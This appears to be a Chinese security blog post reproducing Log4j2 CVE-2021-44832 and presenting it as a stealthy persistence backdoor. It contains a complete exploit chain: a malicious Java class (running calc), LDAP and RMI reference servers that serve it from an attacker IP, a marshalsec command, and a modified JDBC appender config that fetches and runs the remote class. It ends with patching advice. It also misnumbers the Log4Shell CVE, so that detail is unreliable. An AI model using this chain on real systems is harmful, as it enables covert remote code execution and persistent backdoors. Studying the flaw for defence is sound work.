利用Log4j部署后门之CVE-2021-44832

前言

Log4j此前爆出过许多漏洞,较为著名的是Log4j远程命令执行漏洞(CVE-2021-22448)影响巨大,这次要讨论的并不是这个漏洞而是很少被关注和讨论的CVE-2021-44832,由于这个漏洞的特殊性使得攻击者可以利用其充当为权限持久化的后门使用,危害不容小舰!作为防御者和开发者也需要关注自己的资产的安全状态确保被攻击者植入隐蔽性后门。

Log4j介绍

为Java程序记录日志(log for java)它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件,本次利用漏洞进行部署后门的影响范围为Log4j2早期的版本2.0-beta7到2.17.0。

Log4j优点

  1. 可以自由控制日志输出级别,实现日志级别管理(比如生产环境只打印info日志,不打印debug日志)
  2. 不同的package,打印格式不同
  3. 可以将日志输出到文件、控制台或数据库等
  4. 日志文件可以切割存储,定期自动删除
  5. 易于集成在Spring、Spring Boot

Log4j与Log4j2区别

  1. Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar,Log4j只有一个jar包log4j-${版本号}.jar
  2. Log4j2的版本号目前均为2.x另外Log4j的版本号均为1.x
  3. Log4j2的package名称前缀为org.apache.logging.log4j,Log4j的package名称前缀为org.apache.log4j

Log4j使用

  1. 新建JAVA maven项目,在pom.xml中引入依赖
1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
  1. 在项目中配置log4j的配置文件,有两种配置文件格式选择一种进行配置即可(log4j.xml或log4j.properties,当共存时优先解析log4j.properties)

image-20250409230632199

log4j.xml文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>  
<!-- log4j2 配置文件 -->
<!-- 日志级别 trace<debug<info<warn<error<fatal --><configuration status="info">
<!-- 自定义属性 -->
<Properties>
<!-- 日志格式(控制台) -->
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<!-- 日志格式(文件) -->
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<!-- 日志文件路径 -->
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile> </appenders> <loggers> <root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root> </loggers></configuration>

log4j.properties文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
log4j.rootLogger=INFO,consoleAppender,fileAppender
log4j.category.ETTAppLogger=DEBUG, ettAppLogFile
# console
log4j.appender.consoleAppender=org.apache.log4j.ConsoleAppender
log4j.appender.consoleAppender.Threshold=TRACE
log4j.appender.consoleAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.consoleAppender.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss SSS} ->[%t]--[%-5p]--[%c{1}]--%m%n
# file
log4j.appender.fileAppender=org.apache.log4j.DailyRollingFileAppender
log4j.appender.fileAppender.File=F:/dev_logs/lo4j-rce/debug.log
log4j.appender.fileAppender.DatePattern='_'yyyy-MM-dd'.log'
log4j.appender.fileAppender.Threshold=TRACE
log4j.appender.fileAppender.Encoding=BIG5
log4j.appender.fileAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.fileAppender.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss SSS}-->[%t]--[%-5p]--[%c{1}]--%m%n
# ETT
log4j.appender.ettAppLogFile=org.apache.log4j.DailyRollingFileAppender
log4j.appender.ettAppLogFile.File=F:/dev_logs/lo4j-rce/ettdebug.log
log4j.appender.ettAppLogFile.DatePattern='_'yyyy-MM-dd'.log'
log4j.appender.ettAppLogFile.Threshold=DEBUG
log4j.appender.ettAppLogFile.layout=org.apache.log4j.PatternLayout
log4j.appender.ettAppLogFile.layout.ConversionPattern=%-d{yyyy-MM-dd HH\:mm\:ss SSS}-->[%t]--[%-5p]--[%c{1}]--%m%n
  1. 获得logger实例,调用logger的日志方法
1
private static final Logger logger = LogManager.getLogger(Log4JTest.class);
  1. 调用logger的日志方法
1
2
3
4
5
6
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");

image-20250409231112013

漏洞详情&后门部署

漏洞原理

在Log4j采用databaseAppender模式记录日志的过程中,在解析前面提到的配置文件时,DataSourceConnectionSource类中会调用JNDI操作(此前的Log4j高危RCE也与此有关),并且传输的参数来源于配置文件,导致触发安全风险。

影响版本

1
Apache Log4j 2.0-beta7 至 2.17.0

利用条件(需要修改log4j的配置文件)

  1. 当log4j2采用远程配置文件加载时,可以结合中间人攻击,篡改返回的配置文件内容
  2. 当有目标机器权限时,可以通过直接修改log4j2配置文件,留下一个隐蔽的log4j2后门
  3. 配合任意文件上传和任意文件修改漏洞

漏洞复现

环境准备

  1. 编写恶意class类java源文件(Exploit.java)
1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class Exploit {
static {
try {
// 打开windows电脑的计算器
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
  1. 将Exploit.java编译成class文件
1
javac Exploit.java

image-20250409232327621

  1. 配置攻击服务器
  • 将编译好的恶意Exploit.class文件传到服务器上,并开启HTTP服务(可以通过Python开启简易的HTTP服务)
1
python2 -m SimpleHTTPServer 8000
1
python3 -m http.server 8000
  • 开启命名引用服务(LDAP或RMI等等)

LDAP服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
private static final String EXPLOIT_CLASS_URL = "http://172.20.10.6:100/#Exploit";
public static void main(String[] args) {
int port = 7912;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

RMI服务端(注意在2.15.0-rc1版本被禁用RMI协议)

1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIRefServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(7365);
Reference exploit = new Reference("Exploit", "Exploit", "http://172.20.10.6:100/");
ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
registry.bind("exp", exploitWrapper);
System.out.println("rmi服务启动成功!");
}
}

除通过本地IDE环境运行外(比较适合内网运行),还可以通过marshalsec工具仅在java环境下运行(适合外网运行)

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer http://172.20.10.6:100/#Exploit 7365

marshalsec工具:https://github.com/mbechler/marshalsec

漏洞利用

  1. 模拟攻击者修改log4j2.xml配置文件(在appenders和loggers标签下添加引用)
1
2
3
4
5
6
7
8
9
10
11
<appenders>
<JDBC name="databaseAppender" tableName="dbo.applocation_log">
<DataSource jndiName="ldap://172.20.10.6:7365/test"/>
<Column name="evebtDate" isEventTimeStamp="true"/>
<Column name="level" pattern="%level"/>
</JDBC>
<loggers>
<root level="info">
<appender-ref ref="databaseAppender"/>
</root>
</loggers>
  1. 此时,只要受害者使用了log4j记录日志,即可执行恶意类(正常业务下避免不了执行log4j记录操作,这里实际上已经形成了后门环境)

image-20250409233243208

修复建议

  1. 建议户及时升级到 Log4j 2.3.2(适用于 Java 6)、2.12.4(适用于Java 7)或 2.17.1(适用于 Java 8 及更高版本)
  • 从发布的最新版本 2.17.1(以及 Java 7 和 Java 6 的 2.12.4 和 2.3.2)开始,JDBC Appender默认关闭JNDI,仅当log4j2.enableJndiJdbc系统属性为true时才能启用JNDI功能
  • 启用 JNDI 的属性(之前为log4j2.enableJndi)重命名为三个单独的属性(log4j2.enableJndiLookup、log4j2.enableJndiJms 、log4j2.enableJndiContextSelector)
  1. 修改系统中的JDBCAppender配置为 JNDI 数据源仅支持Java协议
  2. 建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本(存在绕过风险)
  3. 移除 log4j-core 包中 JndiLookup 类文件,并重启服务
1
zip -q-d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。